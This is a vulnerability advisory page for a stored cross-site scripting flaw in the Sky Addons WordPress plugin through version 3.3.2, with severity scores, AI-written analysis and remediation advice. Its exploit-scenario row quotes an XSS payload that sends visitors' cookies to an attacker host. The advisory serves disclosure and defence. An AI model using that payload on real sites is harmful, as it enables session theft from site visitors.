EUVD-2026-28543
GHSA-59rm-h9h8-h9gh
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
The Sky Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the sky-custom-scripts custom post type in all versions up to, and including, 3.3.2. This is due to the custom post type being registered with capability_type => 'post' and show_in_rest => true, combined with insufficient input sanitization on the sky_script_content meta field and lack of output escaping when rendering scripts on the frontend. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts via the REST API that execute on every frontend page for all site visitors.
AnalysisAI
Stored cross-site scripting in Sky Addons plugin for WordPress (versions up to 3.3.2) allows authenticated attackers with Author-level access to inject arbitrary JavaScript via the REST API that persists in the sky-custom-scripts post type and executes on all frontend pages for every site visitor. The vulnerability stems from insufficient input sanitization on the sky_script_content meta field combined with lack of output escaping during frontend rendering. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated WordPress user account with Author-level access or higher role, combined with REST API access enabled (the default in modern WordPress). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | CVSS score of 6.4 (Medium) with AV:N/AC:L/PR:L/UI:N/S:C reflects network-accessible exploitation requiring low-complexity, low-privilege (Author) authenticated access, with cross-site scope (injected script affects all users, not just the attacker). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with legitimate Author credentials (obtained via phishing, credential stuffing, or supplied by a malicious contractor) uses the WordPress REST API to POST a new custom script post with `sky_script_content` set to `<img src=x onerror='fetch("https://attacker.com/log?cookie="+document.cookie)'>`. The plugin stores this unescaped meta value in the database. … |
| Remediation | Update Sky Addons plugin to version 3.3.3 or later, which includes fixes visible in the trunk and 3.3.3 tag references (class-custom-scripts-data.php line 134 and class-custom-scripts-loader.php line 237 show corrected code). … Detailed patch versions, workarounds, and compensating controls in full report. |
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